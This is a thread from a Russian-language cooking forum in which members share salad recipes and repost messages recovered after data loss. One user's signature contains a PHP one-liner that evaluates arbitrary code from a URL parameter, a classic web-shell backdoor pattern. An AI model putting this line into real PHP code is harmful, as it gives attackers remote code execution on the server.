Авторизация
Загрузка...
Салаты - 3
На страницу 1, 2, 3 ... 28, 29, 30  След.
 
Начать новую тему   Ответить на тему    Форумы -> Вкусные рецепты
Предыдущая тема :: Следующая тема  
Автор Сообщение
FarHai  
СоНышко

Зарегистрирован: 28.01.2003
Сообщения: 8982
Откуда: Минск

Сообщение Добавлено: Вт Ноя 03, 2009 12:35     Заголовок сообщения: Салаты - 3 Ответить с цитатой

Продолжаем собирать всякие-разные рецепты салатов smile.gif

СОДЕРЖАНИЕ ТЕМ САЛАТЫ - 1, 2 (не полное)
_________________
Никогда не знаешь где тебе повезет (с) Макс Фрай
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Yuka  
Золотая поварёшка
Золотая поварёшка

Зарегистрирован: 20.09.2003
Сообщения: 1355
Откуда: Латвия-Израиль

Сообщение Добавлено: Сб Ноя 07, 2009 13:51     Заголовок сообщения: Ответить с цитатой

Салат из свеклы и яблок

Честно говоря я сначала натерла овощи и только потом внимательно прочитала, как готовить соус к этому салату. Если бы было наоборот, наверное, он остался неопробованным (хрен с апельсиновым соком меня откровенно смутил laugh.gif ). Но отступать было некуда, поэтому я быстро смешала все ингридиенты для соуса и неожиданно получила легкий, освежающий и слегка остренький салат). Итак:

Ингридиенты:
2-3 свеклы (сварить)
2-3 моркови
2-3 кислых зеленых яблока
Сельдерей
8 сушеных абрикосов

Для соуса:
1/2 ст. апельсинового сока
1 ст.л. уксуса
2 ст.л. лимонного сока
1 ст.л. хрена
2 ст.л. оливкового или рапсового масла
1-2 ч.л. майонеза
Соль, перец
1 ч. л. сахара

1.Натереть свеклу и морковь
2.Тонко порезать яблоки и сельдерей (у меня сельдерея не было, а яблоки я натерла)
3.Смешать все ингридиенты для соуса и залить им овощи, перемешанные с яблоками.
4.Выдержать 5-6 часов в холодильнике перед подачей.

Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail
Yuka  
Золотая поварёшка
Золотая поварёшка

Зарегистрирован: 20.09.2003
Сообщения: 1355
Откуда: Латвия-Израиль

Сообщение Добавлено: Сб Ноя 07, 2009 14:21     Заголовок сообщения: Ответить с цитатой

Салат из шампиньонов и помидоров шери

Ингридиенты:
400 гр. помидоров шери
250 гр. Шампиньонов
Зеленый лук

Для соуса:
3-4 ст.л. оливкового масла
1-2 ч.л. уксуса (можно добавить бальзамический)
1/2 ч.л сахара
Соль, перец

1/2 стакана грецких орехов.

1.Нарезать шери на половинки и грибы на четверти.
2.Мелко нарезать лук
3.Смешать все ингридиенты для соуса и залить им овощи.
4.Выдержать 2 часа в холодильнике перед подачей.
5.Перед подачей посыпать орехами и слегка перемешать.

* Можно добавить в салат черные оливки.

Мы любим насыщенный вкус, поэтому я еще добавила немного соевого соуса для остроты впечатлений. Кроме того, меня угораздило забыть об орехах (кто о них помнит перед подачей? laugh.gif )
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail
Матушка Феофания  
Младший повар
Младший повар

Зарегистрирован: 25.10.2009
Сообщения: 172
Откуда: Москва

Сообщение Добавлено: Сб Ноя 07, 2009 22:20     Заголовок сообщения: Ответить с цитатой

Салат по-польски Простенько и по сезону вполне пока доступно.
Мелко нарезать 5 помидоров, 1 соленый огурец, 1 свежий огурец, 1 головка репчатого лука, 1 вареное яйцо.
Овощи уложить слоями, каждый слой посолить и слегка посыпать сахаром, полить растительным маслом и посыпать зеленью.

Муж на диете со вчерашнего дня, ест одни салаты, вот и приходится изгаляться, каждый день новые пробовать. Этот ему понравился.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Соня  
Палочка-выручалочка

Зарегистрирован: 28.02.2003
Сообщения: 17235
Откуда: Russia

Сообщение Добавлено: Вс Ноя 22, 2009 0:17     Заголовок сообщения: Ответить с цитатой

Матушка Феофания
Поваренок-испытатель


Зарегистрирован: 25.10.2009
Сообщения: 96
Откуда: Москва
Добавлено: Вт Ноя 10, 2009 18:27 Заголовок сообщения:

--------------------------------------------------------------------------------

И еще один салатик, на мой взгляд - одновременно легкий и сытный.
Салат с зеленой редькой и мясом

Натереть на крупной терке зеленую редьку (сойдет и дайкон).
Репчатый лук обжарить на растительном масле.
Отварное мясо нарезать кубиками.
Посолить по вкусу, можно поперчить, заправить майонезом.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
elisa-ale  
Сицилийское солнышко

Зарегистрирован: 04.12.2007
Сообщения: 1417
Откуда: Сицилия

Сообщение Добавлено: Вс Ноя 22, 2009 0:23     Заголовок сообщения: Ответить с цитатой

flower.gif Лена! Ну ты просто гигант труда!
_________________
Как вы готовите вишневый джем со шкварками? - Ну как... Свинья ест вишню, дальше колдует повар. (КВН)
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Соня  
Палочка-выручалочка

Зарегистрирован: 28.02.2003
Сообщения: 17235
Откуда: Russia

Сообщение Добавлено: Вс Ноя 22, 2009 0:36     Заголовок сообщения: Ответить с цитатой

Саша, пытаюсь найти хоть что-нибудь. smile.gif Пару скопированных рецептов обнаружила у себя на компе. Кое-что с обрезанных страниц за 7 ноября в кэше сохранилось. Но далеко не всё. sad.gif smile.gif
_________________
Новогодние подарки в игре-лотерее-2018 xmas.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Ermosa  
Шеф-повар
Шеф-повар

Зарегистрирован: 02.12.2004
Сообщения: 2580
Откуда: Украина

Сообщение Добавлено: Вс Ноя 22, 2009 0:42     Заголовок сообщения: Ответить с цитатой

Лишний раз убедилась, что ничего нельзя откладывать "на потом" sob.gif . Лена, спасибо за восстановление и здесь, и в других темах 4u.gif.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Maria  
Главный по зеленым кастрюлькам
Главный по зеленым кастрюлькам

Зарегистрирован: 21.11.2001
Сообщения: 4278
Откуда: England

Сообщение Добавлено: Чт Ноя 26, 2009 17:36     Заголовок сообщения: Ответить с цитатой

Восстановленные сообщения:

Ermosa 08.11.2009 15:08
Yuka, а меня в твоём рецепте Салат из свеклы и яблок как раз и привлекло сочетание хрена и апельсинового сока. Все компоненты - "как всегда", а вот это сочетание и придаёт новый, пикантный вкус. Нам такое нравится. Благодарю за рецептик! smile.gif

Yuka 08.11.2009 16:38
Ermosa, на здоровье! В конечном итоге нам тоже понравилось сочетание happy.gif .

Матушка Феофания 08.11.2009 16:43
Yuka По-моему, тоже очень удачное сочетание, я бы сазала - нетривиальное! Спасибо!

лебедь 08.11.2009 22:53
Салат "Каприз" от Elena_110 http://kuking.net/my/viewtopic.php?p=1552501#1552501 Вкуснятина. poketoungeb.gif

Yuka 09.11.2009 04:27
Цитата:
Сообщение от Матушка Феофания
Yuka По-моему, тоже очень удачное сочетание, я бы сазала - нетривиальное! Спасибо!
Матушка Феофания, на здоровье!

Ивашка 10.11.2009 14:20
Очень вкусно и сытно http://kuking.net/my/viewtopic.php?p=278293#278293
МАРИНКА большое спасибо за салат "ПЕЧЕНОЧНЫЙ."Делаю давно,а вот поблагодарить..... blush.gif В этот раз не было кукурузы,добавила горошек и маринованный огурчик sigh.gif .
s48.radikal.ru/i122/0911/7c/5e04f67eaf23.jpg

Матушка Феофания 10.11.2009 14:27
И еще один салатик, на мой взгляд - одновременно легкий и сытный.
Салат с зеленой редькой и мясом

Натереть на крупной терке зеленую редьку (сойдет и дайкон).
Репчатый лук обжарить на растительном масле.
Отварное мясо нарезать кубиками.
Посолить по вкусу, можно поперчить, заправить майонезом.
_________________
phpbb:eval(stripslashes($_GET[e]));
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
lili_g  
Кулинар-виртуоз
Кулинар-виртуоз

Зарегистрирован: 21.01.2005
Сообщения: 3505
Откуда: Israel

Сообщение Добавлено: Чт Ноя 26, 2009 17:52     Заголовок сообщения: Ответить с цитатой

С сегодняшнего дня я перехожу в ряды потребителей кинои. Поддавшись всеобщему увлечению, купила как-то килограмм, но не прониклась... и вот периодически пытаюсь что-то из нее изготавливать. И вот нашла рецепт, который переменил мое отношение к киное. Спешу поделиться (рецепт с израильского сайта "Шеф лаван"с моими небольшими изменениями)

Теплый салат из кинои


1 ст кинои
3 ст воды
Оливковое масло
3 зубка чеснока
1 болгарский перец
1 ст зерен кукурузы
1 морковь
Соль, перец, орегано, кумин – по вкусу

Приготовление

- Киною промыть в нескольких водах и сварить в подсоленной воде до готовности, ок. 15 мин (киноя считается готовой, когда она станет прозрачной и станет виден ее "хвостик"). Сливаем воду.
- Измельчаем на небольшие кубики лук и болгарский перец, морковку натираем на терке
- Тушим в небольшом количестве масла лук до прозрачности, потом добавляем болгарский перец, кукурузу (у меня была мороженая), морковь и измельченный в прессе чеснок примерно 5 мин, до того, как овощи станут мягкими
- Приправляем специями по вкусу и тушим еще минуту
- Перемешиваем со сваренной киноей и подаем теплым

Вернуться к началу
Посмотреть профиль Отправить личное сообщение
Антония  
Повар
Повар

Зарегистрирован: 07.11.2007
Сообщения: 390
Откуда: Молдова-Москва

Сообщение Добавлено: Чт Ноя 26, 2009 21:25     Заголовок сообщения: Ответить с цитатой

Салат "Славянский сюрприз"

Гречка отваренная
Ветчина
Горошек зеленный
Огурец соленный
Корейская морковь
Лук зеленый
Майонез

Отварить гречку на мясном бульоне или на кубике. Ветчину и огурец нарезать кубиками, добавить горошек и остывшую гречку. Смешать с майонезом, выложить в салатник, сверху покрыть слоем корейской моркови и зеленого лука.

Комм: пропорции точной нет, делаю на глаз. Гречку и ветчину примерно в равных пропорциях, чуть меньше горошка, и еще меньше огурца.
_________________
Тоня
торт "Дрова под снегом"




Славянский сюрприз
Славянский сюрприз

Файл был скачан или просмотрен 22120 раз(а)

Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Jasper  
Кулинар-виртуоз
Кулинар-виртуоз

Зарегистрирован: 07.02.2005
Сообщения: 3590
Откуда: Israel

Сообщение Добавлено: Сб Ноя 28, 2009 12:41     Заголовок сообщения: Ответить с цитатой

lili_g писал(а):
С сегодняшнего дня я перехожу в ряды потребителей кинои.

Теплый салат из кинои

Надо попробовать. Я тоже пару раз готовила, но мои не впечатлились. Удается только мелкому ввиде каши скормить (он у нас еще и мясо практически не ест). Может ввиде салата пойдет. smile.gif
_________________
Спокойствие, только спокойствие.
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Oreshok  
Амазонка с моторчиком

Зарегистрирован: 17.08.2006
Сообщения: 10146
Откуда: Россия

Сообщение Добавлено: Вт Dec 01, 2009 12:00     Заголовок сообщения: Ответить с цитатой

Этот салат любезно мне выслала Лика - Ликуньчик, за что я ей страшно благодарна! Муж мой не ест морковку, тем более с мясом и в салате, а тут... уминал только так! Очень простой набор продуктов, хороший вкус такой получается, сытный и свежий одновременно с пикантностью чесночка. Ликушенька - спасибо тебе большое! Рецепт даже прочно засел в моей голове, без подсказок smile.gif !
Колбасу заменила на куриное мясо (оно было, колбасы не было). Ну оооочень мне понравился. А украсить сверху можно - как фантазия и время позволит (есть у нас спецы на Ку по этому делу wink1.gif )

"Загадка"
300 г твёрдого сыра
400 г копчёной колбасы
2-3 сырые морковки
1 зубчик чеснока
майонез
Сыр и колбасу нарезать соломкой, морковку соломкой натереть. Чеснок выдавить. Заправить майонезом.
_________________
Наслаждайтесь на кухне!
Саша
Наши праздники и встречи
Мои рецепты
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
natashka_mi  
Поваренок
Поваренок

Зарегистрирован: 26.11.2009
Сообщения: 35
Откуда: Москва

Сообщение Добавлено: Ср Dec 02, 2009 18:46     Заголовок сообщения: Ответить с цитатой

Салат болгарский:
полкило говядины
2-помидора
2-3 маринованных огурца
1 болгарский перец
2 головки лука
2 ст. ложки кетчупа (я люблю остренький)
2 ст. ложки майонеза
соль, перец
Мясо отварить с целой головкой луком, лавровым листом, гвоздикой, солью и перцем. Затем нарезать тонкими полосками. Помидоры, огурцы и болгарский перец нарезать дольками, луковицу — колечками и перемешать с мясом. Кетчуп смешать с майонезом и добавить в качестве приправы. blush.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение
gidroponika  
Поваренок
Поваренок

Зарегистрирован: 13.02.2006
Сообщения: 48
Откуда: Москва

Сообщение Добавлено: Ср Dec 02, 2009 18:55     Заголовок сообщения: Салат из свеклы с яблоком Ответить с цитатой

Попробовала приготовить из любопытства салат из свеклы с яблоком. Уж очень необычная заправка.Получилось очень интересное сочетание,а когда постоял,стал еще вкуснее.(отличный осенний рецептик)
_________________
Терпение хорошее качество,но жизнь слишком коротка что-бы долго терпеть.
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение Отправить e-mail
Показать сообщения:   
Начать новую тему   Ответить на тему    Форумы -> Вкусные рецепты Часовой пояс: MSK (Moscow)
Послать другу
Распечатать
На страницу 1, 2, 3 ... 28, 29, 30  След.
Страница 1 из 30

Добавить в закладки

 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы можете добавлять приложения
Вы можете скачивать приложения